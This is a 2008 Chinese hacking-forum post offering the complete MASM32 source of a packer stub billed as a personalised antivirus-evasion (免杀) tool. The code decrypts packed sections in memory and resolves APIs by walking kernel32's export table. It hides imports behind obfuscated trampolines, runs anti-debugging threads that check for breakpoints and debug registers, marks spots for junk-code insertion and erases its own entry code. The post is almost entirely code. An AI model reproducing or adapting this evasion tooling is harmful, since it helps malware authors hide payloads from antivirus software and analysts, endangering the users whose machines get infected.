打印

[原创] 想要一个自己个性的免杀工具吗??

本主题由 小3 于 2008-8-23 19:02 移动

想要一个自己个性的免杀工具吗??

【原创】:想要一个自己个性的免杀工具吗??【工具:Masm32】
特别声明:看不懂的不要回帖,论坛空间宝贵。
-----------------------------
.586
.model  flat, stdcall
option  casemap:none
;一下三行根据实际情况输入绝对路径
include windows.inc
include kernel32.inc
includelib kernel32.lib
set_seh proto  :dword,:dword

.data
wsock32  db 'wsock32.dll',0
fname1          db 264 dup (?)
fname2          db 264 dup (?)
fname3          db 264 dup (?)
hfile1  dd ?
hfile2  dd ?
hfile3  dd ?
fsize1  dd ?
fsize2  dd ?
pt1  dd ?
pt2  dd ?
temp1           dd ?
mbi  MEMORY_BASIC_INFORMATION <>
  db 4 dup (?)
mbi2  MEMORY_BASIC_INFORMATION <>

comctl32        db 'comctl32.dll',0
ole32  db 'ole32.dll',0
oo  db 'OleUninitialize',0
shell32  db 'shell32.dll',0

flag_add_section dd 1
flag_clear_boundimport dd 1
flag_clear_load_config dd 1

.code

entry:     ;!!!  这个;!!!作为加花指令的标志,花指令生成程序遇到第奇数个;!!!即开始加花,偶数个停止加花
jmp _entry

flag_reentry db 0

check_int3 macro
pushf
push eax
mov eax,[ebp+4]
cmp byte ptr [eax],0cch
jne @f
push esi
push edx
xchg eax,esi
rdtsc
add edx,eax
and edx,000000ffh
mov [esi+edx],eax
pop edx
pop esi
@@:
pop eax
popf
  endm

check_int3_0 macro
push ebp
mov ebp,esp
pushf
push eax
mov eax,[ebp+4]
cmp byte ptr [eax],0cch
jne @f
push esi
push edx
xchg eax,esi
rdtsc
add edx,eax
and edx,000000ffh
mov [esi+edx],eax
pop edx
pop esi
@@:
pop eax
popf
pop ebp
  endm


check1_start label byte

_entry:
pushfd
pushad
call entry0      ;!!!
entry0:     ;!!!
pop ebx     
sub ebx,offset entry0
cmp flag_reentry[ebx],0
jne entry00
lea esi,entry00[ebx]
mov ecx,__ok - entry00
@@:
not byte ptr [esi]
inc esi
loop @b
mov flag_reentry[ebx],1
entry00:

jmp entry1


get_knl_base proc      ;得到 kernel32.dll 基址
assume fs:nothing
mov eax,fs:[0]
check_int3_0
push edx
@@:
cmp dword ptr [eax],-1
je @f
mov eax,[eax]
jmp @b
@@:
mov eax,[eax+4]
and eax,0ffff0000h
@@1:
cmp word ptr [eax],'ZM'
je @f
sub eax,10000h
jmp @@1
@@:
mov edx,[eax+3ch]
add edx,eax
cmp dword ptr [edx],00004550h
je @f
sub eax,10000h
jmp @@1

@@:
pop edx

ret
get_knl_base endp
  

;tt1 db '1',0
;tt2 db '2',0
;tt3 db '3',0
;tt4 db '4',0

;disp proc uses eax ecx edx
; pushf
; cmp check1[ebx],0
; je @f
; lea edx,tt1[ebx]
; jmp dp5
;@@:
; cmp check2[ebx],0
; je @f
; lea edx,tt2[ebx]
; jmp dp5
;@@:
;
; jmp dp9
;
; cmp hEvent[ebx],0
; je @f
; lea edx,tt3[ebx]
; jmp dp5
;@@:
; cmp hEvent1[ebx],0
; jne @f
; lea edx,tt4[ebx]
; jmp dp5
;@@:
; jmp dp9
;dp5:
; push MB_OK
; push edx
; push edx
; push 0
; call f_MessageBox[ebx]
;dp9:
; popf
; ret
;disp endp

;disp1 proc uses eax ecx edx
; pushf
; lea eax,ttt[ebx]
; push MB_OK
; push eax
; push eax
; push 0
; call f_MessageBox[ebx]
; popf
; ret
;disp1 endp
;

check_thread proc para
mov ebx,para
lea eax,seh1[ebx]
invoke set_seh,1,eax

ct0:
@@:
test flag_thread_end[ebx],1
jnz ct9
test flag_thread_active[ebx],1
jz @b


;;; jmp ct30  ;;;;;;;;;;;;;


lea esi,check1_start[ebx]
lea edi,check1_end[ebx]
mov eax,0
mov ecx,0
@@:
mov cl,[esi]
sub eax,ecx
inc esi
cmp esi,edi
jb @b
ct2 label byte
sub eax,check1_sum[ebx]

add check1[ebx],eax

add decode_key[ebx],eax
xor eax,'jdsg'
int 0f7h

add check1[ebx],eax

test flag_thread_finish[ebx],10b
jz ct3
lea esi,check2_start[ebx]
lea edi,check2_end[ebx]
mov eax,0
mov ecx,0
@@:
mov cl,[esi]
add eax,ecx
inc esi
cmp esi,edi
jb @b
ct21 label byte
sub eax,check2_sum[ebx]
xor check2[ebx],eax

xor decode_key[ebx],eax

sub eax,'jkdf'

int 0f7h
xor check2[ebx],eax
ct30:
or flag_thread_finish[ebx],1
ct3:

; call disp ;;;;;;;;;;;;;;;

jmp ct0
ct9:
and flag_thread_active[ebx],0fffffffeh
invoke set_seh,0,0
or flag_thread_exit[ebx],1
ret
check_thread endp


get_func_address proc stdcall uses ebx ecx edx esi edi  base,p_funcname

local save_ebx:dword


mov save_ebx,ebx
gfa1:
mov ebx,base
mov eax,[ebx+3ch]       ;'PE'
mov eax,[ebx+eax+78h]   ;export table
test p_funcname,80000000h
je gfa5
mov esi,[ebx+eax+24h]  ;addr of ord
mov edx,[ebx+eax+14h]  ;number of func
mov ecx,p_funcname
and ecx,7fffffffh
sub ecx,[ebx+eax+10h]
cmp ecx,edx
jae @@90
  
add ecx,ecx
add ecx,ecx
mov edi,ecx
add edi,[ebx+eax+1ch]
mov eax,[ebx+edi]
add eax,ebx

jmp gfa6
gfa5:
cmp ebx,p_funcname
ja @f
;;; mov eax,p_funcname
;;; jmp @@9
@@:
mov esi,[ebx+eax+20h]   ;addr of names
mov edx,[ebx+eax+18h]   ;number of names
push eax
@@0:
mov ecx,p_funcname
mov edi,[esi+ebx]
@@:
mov al,[edi+ebx]
cmp al,[ecx]
jne @f
cmp al,0
je @@1
  inc edi
inc ecx
jmp @b
@@:
add esi,4
dec edx
jnz @@0  
mov eax,0
jmp @@9
@@1:
pop eax                ;export table
sub esi,[ebx+eax+20h]
        shr esi,1
add esi,[ebx+eax+24h]  ;addr of 序号
        movzx esi,word ptr [ebx+esi]
shl esi,2
add esi,[ebx+eax+1ch]  ;addr of functions
mov eax,[ebx+esi]
add eax,ebx
gfa6:
mov ebx,save_ebx
check_int3
lea edx,forwardchain_dll[ebx]
lea edi,forwardchain_handle[ebx]
add eax,check2[ebx]
gfa70:
mov esi,[edx]
cmp esi,0
je @@9
add esi,ebx
push eax
push esi
dec esi
dec eax
gfa7:
inc eax
inc esi
mov cl,[eax]
cmp cl,'a'
jb @f
cmp cl,'z'
ja @f
and cl,0dfh
@@:
cmp cl,[esi]
jne @f
cmp cl,'.'
je gfa75
jmp gfa7
@@:
pop esi
pop eax
add edx,4
add edi,4
jmp gfa70
gfa75:

pop esi
cmp dword ptr [edi],0
jne @f

push eax
push esi
call f_LoadLibrary[ebx]
mov [edi],eax
pop eax
@@:
inc eax
add eax,check1[ebx]  
mov p_funcname,eax
mov eax,[edi]
mov base,eax
pop eax
mov ebx,save_ebx
jmp gfa1
@@90:
mov eax,0
@@9:
ret

get_func_address endp


set_seh proc    uses eax flag,ofs
assume fs:nothing
cmp flag,0
check_int3
je @f
mov eax,fs:[0]
mov flag,eax
lea eax,flag
mov fs:[0],eax
jmp ss9
@@:
mov eax,[ofs+4]
mov fs:[0],eax
ret 4*4
ss9:  
ret 0
set_seh endp

thread_control proc para
mov ebx,para

;lea eax,ttt[ebx]
;push MB_OK
;push eax
;push eax
;push 0
;call f_MessageBox[ebx]
;int 3





tc00:
test flag_thread_end[ebx],80000000h
jnz tc9
tc0:
test flag_thread_create[ebx],1
je @f
and flag_thread_create[ebx],0fffffffeh
and flag_thread_end[ebx],   0fffffffeh
and flag_thread_exit[ebx],  0fffffffeh
lea edx,check_thread[ebx]
jmp tc1
@@:
test flag_thread_create[ebx],10b
je @f
and flag_thread_create[ebx],0fffffffdh
and flag_thread_end[ebx],   0fffffffdh
and flag_thread_exit[ebx],  0fffffffdh
lea edx,decode_thread[ebx]
jmp tc1
@@:
test flag_thread_create[ebx],100b
je @f
and flag_thread_create[ebx],0fffffffbh
and flag_thread_end[ebx],   0fffffffbh
and flag_thread_exit[ebx],  0fffffffbh
lea edx,checkAPI_thread[ebx]
jmp tc1
@@:
jmp tc8
tc1:
lea eax,threadID[ebx]
push eax
push 0
push ebx
push edx
push 0
        push 0
call f_CreateThread[ebx]
tc8:
jmp tc00
tc9:
and flag_thread_end[ebx], 7fffffffh
or  flag_thread_exit[ebx],80000000h
ret
thread_control endp


seh1 proc uses ebx ecx edx  esi lpExceptionRecord,lpSEH,lpContext,lpDisp
mov ecx,lpExceptionRecord
assume ecx:ptr EXCEPTION_RECORD
mov edx,lpContext
assume edx:ptr CONTEXT
mov eax,[ecx].ExceptionAddress
mov ax,[eax]
cmp ax,0f5cdh
je _f5cd
cmp ax,0f6cdh
je _f6cd
cmp ax,0f7cdh
je _f7cd
mov eax,0   ;1
jmp se9     ;jmp se91
_f5cd:
mov eax,0
mov [edx].iDr0,eax
mov [edx].iDr1,eax
mov [edx].iDr2,eax
mov [edx].iDr3,eax
;;; mov [edx].iDr7,0 ;155h
jmp se9
_f6cd:
push ecx
push edx
mov eax,[edx].regEsp
mov esi,[eax]
add [edx].regEsp,4
mov ebx,[edx].regEbx
lea eax,threadID[ebx]
push eax
push 0
push ebx
push esi
push 0
push 0
call f_CreateThread[ebx]
; push eax
; call f_ResumeThread[ebx]
pop edx
pop ecx
jmp _f7cd
_f7cd:
mov eax,0
add eax,[edx].iDr0
add eax,[edx].iDr1
add eax,[edx].iDr2
add eax,[edx].iDr3
mov [edx].regEax,eax
mov eax,0
mov [edx].iDr0,eax
mov [edx].iDr1,eax
mov [edx].iDr2,eax
mov [edx].iDr3,eax
;;; mov [edx].iDr7,0 ;155h
jmp se9
se9:
add [edx].regEip,2
mov eax,0
se91:
assume ecx:nothing
assume edx:nothing
ret
seh1 endp           

     ;!!!
check1_end label byte



pi              PROCESS_INFORMATION <>
_si             STARTUPINFO <>
proc_exit_code dd ?
shell_eip dd ?
check1  dd 0
hModule  dd ?
hProc  dd ?
buf  db 256 dup (?)
knl_base dd ?
p_funcs  label byte
f_GetProcAddress dd ?
f_VirtualAlloc  dd ?
f_VirtualProtect dd ?
f_CreateProcess  dd ?
f_CreateEvent           dd ?
f_OpenEvent             dd ?
f_GetModuleHandle       dd ?
f_WaitForSingleObject   dd ?
f_GetModuleFileName     dd ?
f_GetCommandLine        dd ?     
f_LoadLibrary           dd ?
f_FreeLibrary           dd ?
f_CloseHandle           dd ?
f_ExitProcess  dd ?
f_GetExitCodeProcess dd ?
f_GetLastError  dd ?
f_VirtualQuery  dd ?
f_UnmapViewOfFile dd ?
f_VirtualFree  dd ?
f_VirtualProtectEx dd ?
f_CreateThread          dd ?
f_ResumeThread  dd ?
f_DisableThreadLibraryCalls dd ?

p_funcnames db 'GetProcAddress',0
  db 'VirtualAlloc',0
p_vp  db 'VirtualProtect',0
  db 'CreateProcessA',0
  db 'CreateEventA',0
  db 'OpenEventA',0
  db 'GetModuleHandleA',0
  db 'WaitForSingleObject',0
  db 'GetModuleFileNameA',0
  db 'GetCommandLineA',0
p_ll  db 'LoadLibraryA',0
  db 'FreeLibrary',0
                db 'CloseHandle',0
                db 'ExitProcess',0
  db 'GetExitCodeProcess',0
  db 'GetLastError',0
  db 'VirtualQuery',0
  db 'UnmapViewOfFile',0
  db 'VirtualFree',0
  db 'VirtualProtectEx',0
                db 'CreateThread',0
  db 'ResumeThread',0
  db 'DisableThreadLibraryCalls',0
  db 0
event_name db 'jdsglxg',0
hNTDLL  dd 0
ntdllname db 'ntdll.dll',0
p_getlasterror db 'RtlGetLastWin32Error',0

hEvent          dd 0
oringal_proc_offs dd ?
decode_key  dd ?
oringal_proc_size dd ?
old_protect_flag dd ?
check2  dd 0
iat_offs  dd ?
iat_size  dd ?
reloc_offs  dd ?
reloc_size  dd ?
image_base  dd ?
hEvent1                 dd 0
check2_sum  dd ?
threadID  dd ?
flag_thread_end         dd 0

p_mem1  dd ?
p_mem2  dd ?
flag_thread_exit        dd 0
temp  dd ?
flag_thread_create dd 0
mbi1  MEMORY_BASIC_INFORMATION <>
dll_exitcode dd 0
iat_pt  dd 0
flag_finish dd 0
exitcode dd 312321
msg  db 'Are you sure ?',0
rnd  dd ?
titl  db '^_^',0
flag_thread_finish      dd 0
user32name db 'user32.dll',0
hUser32  dd ?
iat_size0 dd 0
flag_thread_active dd 0
p_msgbox        db 'MessageBoxA',0
f_MessageBox dd ?
decode_start    dd ?
check1_sum dd ?
decode_end      dd ?
number_of_section dd ?
ttt db 'xxx',0
rva_table dd 10h dup (0,0)
flag_encode label dword
export  dd 1
import  dd 1
res  dd 0
exception dd 0
security dd 0
base_reloc dd 1
debug  dd 0
copyright dd 0
globlptr dd 0
tls  dd 0
loadconfig dd 0
bound_import dd 0
import1  dd 0
delay_import dd 0
  dd 0
  dd 0



forwardchain_dll dd kernel32,user32,gdi32,ntdll,advapi32,ws2_32,mswsock,shlwapi
   dd 0
forwardchain_handle dd 0       ,0     ,0    ,0    ,0       ,0     ,0      ,0
   dd 0
kernel32  db 'KERNEL32.dll',0
user32   db 'USER32.dll',0
gdi32   db 'GDI32.dll',0
ntdll   db 'NTDLL.dll',0
advapi32  db 'ADVAPI32.dll',0
ws2_32   db 'WS2_32.dll',0
mswsock                 db 'MSWSOCK.dll',0
shlwapi   db 'SHLWAPI',0


file_type  db 1  ;1 - exe   2 - dll
data_size = $ - offset pi


check2_start label byte
     
entry1:      ;!!!
cld
call get_knl_base
push eax
lea ecx,p_ll[ebx]
invoke get_func_address,eax,ecx
mov f_LoadLibrary[ebx],eax
pop eax
mov knl_base[ebx],eax
lea edi,p_funcnames[ebx]
lea esi,p_funcs[ebx]
@@:
cmp byte ptr [edi],0
je @f
mov eax,knl_base[ebx]
invoke  get_func_address,eax,edi
mov [esi],eax
        add esi,4
mov ecx,-1
mov al,0
repne scasb
je @b
@@:

        lea eax,user32name[ebx]
push eax
call f_LoadLibrary[ebx]
mov hUser32[ebx],eax
lea ecx,p_msgbox[ebx]
        invoke get_func_address,eax,ecx
mov f_MessageBox[ebx],eax
;;;mov check1[ebx],0
;call disp1


cmp file_type[ebx],1   ;exe
je is_exe
cmp file_type[ebx],2   ;dll
jne error_exit
cmp dword ptr [esp+24h+4+4],1   ;dll_process_attach
jne dll_ret
mov eax,[esp+24h+4+0]
mov hModule[ebx],eax
push eax
call f_DisableThreadLibraryCalls[ebx]

; call 校验dll
; cmp eax,正确值
jmp dll_ok ;;;je dll_ok
dll_error:
popad
popfd
mov eax,0
ret 3*4
dll_ok:
mov eax,exitcode[ebx]
mov dll_exitcode[ebx],eax
jmp exe_dll ;;;cc
dll_ret:
mov eax,dll_exitcode[ebx]
cmp eax,exitcode[ebx]
jne dll_error
cmp flag_finish[ebx],0
jne pe0
jmp dll_error

is_exe:
push 0
call f_GetModuleHandle[ebx]
mov hModule[ebx],eax
exe_dll:
lea eax,event_name[ebx]
push eax
push 0
push EVENT_ALL_ACCESS
        call f_OpenEvent[ebx]
cmp eax,0
je firstrun
push eax
push eax
call f_CloseHandle[ebx]
pop hEvent1[ebx]


;call disp1

lea eax,seh1[ebx]
invoke set_seh,1,eax
int 0f5h   ;clear DRx

lea eax,thread_control[ebx]
push eax
int 0f6h   ;create control thread ,return:eax=DRx

or flag_thread_create[ebx],111b
  
lea eax,_ok[ebx]
mov decode_start[ebx],eax
or flag_thread_active[ebx],1   ;active check
lea eax,__ok[ebx]
mov decode_end[ebx],eax
not eax
int 0f7h   ;Get and clear DRx
and flag_thread_finish[ebx],0fffffffdh
add decode_key[ebx],eax

or flag_thread_active[ebx],10b  ;active decode

@@:
test flag_thread_finish[ebx],10b
int 0f7h
jz @b  

   
jmp _ok

lea eax,second_entry[ebx]
mov dword ptr proc_ret_addr[ebx+1],eax
popad
popfd
proc_ret_addr  label byte     ;!!!     
push 12345678h          ;!!!
ret

isnot? proc stdcall  uses eax ecx edx pt
mov ecx,0
mov edx,pt
check_int3
is0:
mov eax,dword ptr rva_table[ecx*8][ebx]
cmp eax,0
je is1
sub eax,3
cmp edx,eax
jb is1
add eax,dword ptr rva_table[ecx*8+4][ebx]
add eax,3
cmp edx,eax
jae is1
cmp dword ptr flag_encode[ecx*4][ebx],0
jne is2
xor al,al
jmp is9
is1:
inc ecx
cmp ecx,16
jb is0
is2:
or al,1
is9:
ret
isnot? endp

;!!!
api1:
push eax
pushf
push eax
api1_1 label byte
mov eax,87264981h
api1_2 label byte
sub eax,71526384h
mov [esp+6],eax
pop eax
popf
ret
api1_len = $ - offset api1
api2:
push eax
pushf
push eax
api2_1 label byte
mov eax,41836496h
api2_2 label byte
xor eax,18932755h
mov [esp+6],eax
pop eax
popf
ret
api2_len = $ - offset api2
api3:
push eax
pushf
push eax
api3_1 label byte
mov eax,36384594h
api3_2 label byte
add eax,92837461h
mov [esp+6],eax
pop eax
popf
ret
api3_len = $ - offset api3
;!!!





checkAPI_thread proc para
mov ebx,para
lea eax,seh1[ebx]
invoke set_seh,1,eax
ca0:
test flag_thread_end[ebx],100b
jnz ca9

cld
ca1:

mov eax,ebx
not eax
int 0f7h
add check2[ebx],eax
xchg esi,eax
mov al,0cch

mov edi,f_VirtualProtect[ebx]
mov ecx,10
repne scasb
je ca5
   
mov edi,f_VirtualProtectEx[ebx]
mov ecx,10
repne scasb
je ca5
mov edi,f_CreateThread[ebx]
mov ecx,10
repne scasb
je ca5
mov edi,f_VirtualAlloc[ebx]
mov ecx,10
repne scasb
je ca5
mov edi,f_LoadLibrary[ebx]
mov ecx,10
repne scasb
je ca5
mov edi,f_VirtualFree[ebx]
mov ecx,10
repne scasb
je ca5

or flag_thread_finish[ebx],100b

xor check1[ebx],esi
jmp ca6
ca5:
  sub check1[ebx],eax

inc dword ptr dc_edit+1

inc dword ptr ec_edit+1
add check2[ebx],eax

inc decode_key[ebx]
; lea eax,ttt[ebx]
; push MB_OK
; push eax
; push eax
; push 0
; call f_MessageBox[ebx]


ca6:
jmp ca0
ca9:
invoke set_seh,0,0
or flag_thread_exit[ebx],100b
ret
checkAPI_thread endp



decode proc stdcall  uses esi ecx edx edi   p_offs,p_size,base,xz
; ret
dc0:
mov ecx,p_size
cmp ecx,4
jb dc9
sub ecx,3
mov esi,p_offs
add esi,xz
check_int3
mov edx,base
dc_edit label byte ;!!!
mov eax,'jdsg' ;!!!
dc1:
sub esi,xz
invoke isnot?,esi
pushf
add esi,xz
popf
jz @f
push eax
mov eax,-1
;int 0f7h
mov edi,eax
pop eax
xor [esi+edx],eax
; ror eax,7
add eax,7
;xor [esi+edx],edi
@@:
inc esi
loop dc1
dc9:
ret
decode endp

encode proc  stdcall uses ebx esi ecx edx      p_offs,p_size,base,xz
; ret
mov ebx,0
mov ecx,p_size
cmp ecx,4
jb ec9
sub ecx,3
mov esi,p_offs
add esi,xz
mov edx,base
ec_edit label byte  ;!!!
mov eax,'jdsg'  ;!!!
ec1:
sub esi,xz
invoke isnot?,esi
pushf
add esi,xz
popf
jz @f
xor [esi+edx],eax
; ror eax,7
add eax,7
@@:
inc esi
loop ec1
ec9:
ret
encode endp
move_memory proc
       ; jecxz mm9
       or ecx,ecx
       jz mm9
cmp esi,edi
je mm9
check_int3_0
pushf
cld
cmp esi,edi

jae @f
add esi,ecx
add edi,ecx
dec esi
dec edi
std
@@:
rep movsb
popf
mm9:
ret
move_memory endp


proc_iat proc uses ecx edx esi edi ebp
mov esi,eax
mov ecx,9
mov edx,0
pi00:
cmp byte ptr [esi],0
jne @f
inc edx
@@:
inc esi
loop pi00
cmp edx,4   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
check_int3_0
jb pi0
;call disp1
jmp pi9
pi0:
mov esi,eax
pi1:

inc rnd[ebx]
mov eax,rnd[ebx]
rol eax,5
mov edx,rnd[ebx]
ror edx,17
add eax,edx
mov rnd[ebx],eax
jz pi1
and eax,3
cmp eax,0
jne @f
lea ebp,api1[ebx]
lea ecx,api1_1+1[ebx]
lea edx,api1_2+1[ebx]
mov edi,rnd[ebx]
add esi,edi
push api1_len
jmp pi5
@@:
cmp eax,1
jne @F
lea ebp,api3[ebx]
lea ecx,api3_1+1[ebx]
lea edx,api3_2+1[ebx]
mov edi,rnd[ebx]
sub esi,edi
push api3_len
jmp pi5
@@:
lea ebp,api2[ebx]
lea ecx,api2_1+1[ebx]
lea edx,api2_2+1[ebx]
mov edi,rnd[ebx]
xor esi,edi
push api2_len
pi5:
cmp iat_size0[ebx],api1_len
jb pi6
cmp iat_size0[ebx],api2_len
jb pi6
cmp iat_size0[ebx],api3_len
jae pi8
pi6:
push ecx
push edx
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_TOP_DOWN
push 4096
push 0
call f_VirtualAlloc[ebx]
mov iat_pt[ebx],eax
mov iat_size0[ebx],4096
pop edx
pop ecx
pi8:
pop eax
sub iat_size0[ebx],eax
push ecx
push edx
push esi
mov ecx,eax
mov eax,iat_pt[ebx]
add iat_pt[ebx],ecx
mov esi,0
pi81:
mov dl,ds:[ebp+esi]
mov [eax+esi],dl
inc esi
loop pi81
pop esi
pop edx
pop ecx
sub ecx,ebp
sub edx,ebp
mov dword ptr [eax+ecx],esi
mov dword ptr [eax+edx],edi   
pi9:
ret
proc_iat endp



decode_thread proc para
mov ebx,para
lea eax,seh1[ebx]
invoke set_seh,1,eax

dt0:
@@:
test flag_thread_end[ebx],10b
jnz dt9
test flag_thread_active[ebx],10b
jz @b

;.......
mov esi,decode_start[ebx]
mov eax,esi
int 0f7h
mov edi,decode_end[ebx]
add edi,eax
mov eax,decode_key[ebx]
@@:
cmp esi,edi
jae @f
xor [esi],al
inc eax
ror eax,7
mov edx,eax
int 0f7h
add eax,edx
inc esi
jmp @b
@@:
and flag_thread_active[ebx],0fffffffdh
or flag_thread_finish[ebx],10b
jmp dt0
dt9:
and flag_thread_active[ebx],0fffffffdh
invoke set_seh,0,0
or flag_thread_exit[ebx],10b
ret
decode_thread endp
clear_string proc uses eax string
pushf
mov eax,string
cs1:
test eax,80000000h
jnz cs9
cmp byte ptr [eax],0
je cs9
mov byte ptr [eax],0
inc eax
jmp cs1
cs9:
check_int3
popf
ret
clear_string endp

firstrun:
lea eax,event_name[ebx]
push eax
push 0
push 0
push 0
call f_CreateEvent[ebx]
mov hEvent[ebx],eax
   
lea eax,pi[ebx] ;PROCESS_INFORMATION
push eax
        lea eax,_si[ebx]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
call f_GetCommandLine[ebx]
push eax
push 0
call f_CreateProcess[ebx]
cmp eax,0
        je create_process_fail   
push INFINITE
        push dword ptr pi[0][ebx]
call f_WaitForSingleObject[ebx]  ;等待进程结束
lea eax,proc_exit_code[ebx]
push eax
        push dword ptr pi[0][ebx]
call f_GetExitCodeProcess[ebx]
        push dword ptr pi[4][ebx]
call f_CloseHandle[ebx]
        push dword ptr [pi+0][ebx]
call f_CloseHandle[ebx]
push dword ptr hEvent[ebx]
call f_CloseHandle[ebx]

jmp error_exit
mov eax,exitcode[ebx]
cmp proc_exit_code[ebx],eax  ;;;312321
je _ok
        jne error_exit




_ok:
  
  
cc:
call cc1     ;!!!     
cc1:     ;!!!
pop ebx           
sub ebx,offset cc1
jmp @@1000

;;;call disp ;;;;;;;;;;;;;;;
@@1000:
;call disp1
mov edx,hModule[ebx]
mov esi,[edx+3ch]
lea esi,[esi+edx+0f8h]
mov edi,esi
@@:
imul esi,number_of_section[ebx],28h
add esi,edi
jmp @@10
cmp dword ptr [esi+0ch],0
je @@100
cmp dword ptr [esi+08h],0
je @@100
add esi,28h
jmp @b
@@100:
sub esi,28h
@@10:
sub esi,28h

cmp esi,edi
jb @@19
push edx
lea eax,old_protect_flag[ebx]
push eax
mov eax,hEvent[ebx]
push PAGE_READWRITE

add dword ptr [ebx][dc_edit+1],eax
mov eax,[esi+8]

test hEvent1[ebx],0ffffffffh

jz @@18

push eax
mov eax,[esi+0ch]
add eax,edx
push eax
call f_VirtualProtect[ebx]
pop edx  
        push old_protect_flag[ebx]

mov eax,dword ptr ttt[ebx]
int 0f7h
add dword ptr cc20[ebx],eax  

jmp @@15



mov ecx,[edx+3ch]
lea ecx,[ecx+edx+0a8h]
mov eax,[ecx]
cmp eax,0
je @f
add eax,[ecx+4]
cmp eax,[esi+0ch]
jb @f
mov eax,[esi+0ch]
add eax,[esi+8]
cmp eax,[ecx]
ja @@18  
@@:
mov ecx,[edx+3ch]
lea ecx,[ecx+edx+88h]
mov eax,[ecx]
cmp eax,0
je @f
add eax,[ecx+4]
cmp eax,[esi+0ch]
jb @f
mov eax,[esi+0ch]
add eax,[esi+8]
cmp eax,[ecx]
ja @@18  
@@:
mov ecx,[edx+3ch]
lea ecx,[ecx+edx+0c0h]
mov eax,[ecx]
cmp eax,0
je @f
add eax,[ecx+4]
cmp eax,[esi+0ch]
jb @f
mov eax,[esi+0ch]
add eax,[esi+8]
cmp eax,[ecx]
ja @@18  
@@:
@@15:
sub dword ptr cc2[ebx],eax  
mov eax,[esi+8]
sub edx,check2[ebx]
cmp eax,[esi+10h]
jbe @f
mov eax,[esi+10h]
@@:
mov ecx,[esi+0ch]
;;;;;add ecx,edx
invoke decode,ecx,eax,edx,0
@@18:
jmp @@10
@@19:
;;;call disp1

;call disp1
;处理import表
iat:
mov edx,hModule[ebx]
mov esi,[edx+3ch]
mov esi,iat_offs[ebx] ;;;[esi+edx+80h]  ;import table
cmp esi,0
je cc3
cc2:
mov eax,[esi+edx+0ch]  ;dll name
  cmp eax,0
je cc3
add eax,edx
push edx
push eax
push eax
call f_LoadLibrary[ebx]
call clear_string
pop edx
mov ecx,eax
mov edi,[esi+edx+10h]  ;func name
add edi,edx
push esi
mov eax,[esi+edx+0]
cmp eax,0
jne @f
mov eax,[esi+edx+10h]
@@:
mov esi,eax
test hEvent1[ebx],0ffffffffh
jz cc20  
add esi,edx
cc20:
cmp dword ptr [esi],0
je cc21
mov eax,dword ptr [esi]
test eax,80000000h
jnz @f
cmp eax,ecx
jae @f
add eax,edx
add eax,2
@@:
push eax
push eax
push ecx
call get_func_address
call clear_string
cmp eax,0
je @f
call proc_iat
mov [edi],eax
@@:
mov eax,hEvent[ebx]
add [edi],eax
add edi,4
test threadID[ebx],0ffffffffh

jz cc21
add esi,4
jmp cc20
cc21:
pop esi
add esi,14h
jmp cc2
cc3:
mov eax,hEvent[ebx]
mov edi,iat_offs[ebx]
add edi,edx
mov ecx,iat_size[ebx]
xor shell_eip[ebx],eax
mov al,0
; rep stosb    ;清import table 有些程序不能正常运行
; call clear_import_table
;处理reloc表
;
mov edx,hModule[ebx]
mov esi,[edx+3ch]
mov esi,reloc_offs[ebx] ;;;[esi+edx+0a0h]  ;reloc table


cmp esi,0
je rl2
lea esi,[esi+edx]
rl1:
cmp dword ptr [esi],0
je rl2
push esi
mov edi,[esi]
mov ecx,[esi+4]
sub ecx,8
shr ecx,1
rt12:
movzx eax,word ptr [esi+8]
push eax
and ax,0011000000000000b
cmp ax,0011000000000000b
pop eax
jne @f
and ax,0000111111111111b
add eax,edi
add dword ptr[eax+edx],edx
push ecx
mov ecx, dword ptr image_base[ebx]
sub dword ptr [eax+edx],ecx
mov ecx,check2[ebx]
add ecx,check1[ebx]
sub dword ptr [eax+edx],ecx
pop ecx
@@:
add esi,2
loop rt12
pop esi
add esi,[esi+4]
jmp rl1
rl2:



mov edi,reloc_offs[ebx]
add edi,edx
mov ecx,reloc_size[ebx]
mov al,0
; rep stosb

mov eax,decode_key[ebx]
mov edx,hModule[ebx]
mov esi,[edx+3ch]
lea esi,[esi+edx+0f8h]
mov edi,esi
xor shell_eip[ebx],eax
@@:
imul esi,number_of_section[ebx],28h
add esi,edi
jmp [email=_@@100]_@@100[/email]



cmp dword ptr [esi+0ch],0
je [email=_@@100]_@@100[/email]
cmp dword ptr [esi+08h],0
je [email=_@@100]_@@100[/email]
add esi,28h
jmp @b
[email=_@@100]_@@100[/email]:
sub esi,28h
xchg edi,esi
[email=_@@10]_@@10[/email]:

cmp esi,edi
jnbe [email=_@@19]_@@19[/email]
pop ecx
push edx
lea eax,old_protect_flag[ebx]
push eax
cc15:
push ecx
push dword ptr [esi+8]
mov eax,[esi+0ch]
add eax,edx
push eax
call f_VirtualProtect[ebx]
pop edx
add esi,28h
jmp [email=_@@10]_@@10[/email]
[email=_@@19]_@@19[/email]:
mov eax,shell_eip[ebx]
add eax,edx
add eax,check2[ebx]
xor eax,check1[ebx]
;call disp
push eax

;call disp1

or flag_thread_end[ebx],111b
or flag_thread_end[ebx],80000000h
@@:
mov eax,flag_thread_exit[ebx]
and eax,10000000000000000000000000000111b
xor eax,10000000000000000000000000000111b
jnz @b
pop eax
mov dword ptr proc_entry[ebx+1],eax
invoke set_seh,0,0
;call disp

or flag_finish[ebx],1

pe0:
cmp file_type[ebx],2   ;dll
jne @f
jmp pe1
@@:

;call disp1
lea edi,entry[ebx]
mov ecx,offset pe1 - offset entry  
cld
mov al,0
rep stosb     ;!!!     
pe1:          ;!!!

popad
popfd
;int 3

proc_entry label byte     ;!!!     
push 12345678          ;!!!
ret
  

second_entry:
call _cc1     ;!!!     
_cc1:     ;!!!
pop ebx     
sub ebx,offset _cc1

push MB_YESNO
lea eax, titl[ebx]
push eax
lea eax, msg[ebx]
push eax
push 0
call f_MessageBox[ebx]
cmp eax,IDYES
je @f
push 0
jmp se1
@@:
push exitcode[ebx] ;;;312321
se1:
call f_ExitProcess[ebx]

__ok:
check2_end label byte
db 4 dup (?)


create_process_fail:
error_exit:
push 0
call f_ExitProcess[ebx]

     ;!!!

;added on 2006-3-4
db 'rNiLaToV'
ipt db 14h * 2 dup (0)
size1 = $ - offset ipt
dllname db 'kernel32.dll',0
size2 = $ - offset dllname
funname db 0,0,'GetVersion',0
size3  = $ - offset funname
funaddr dd ?,0
size4 = $ - offset funaddr
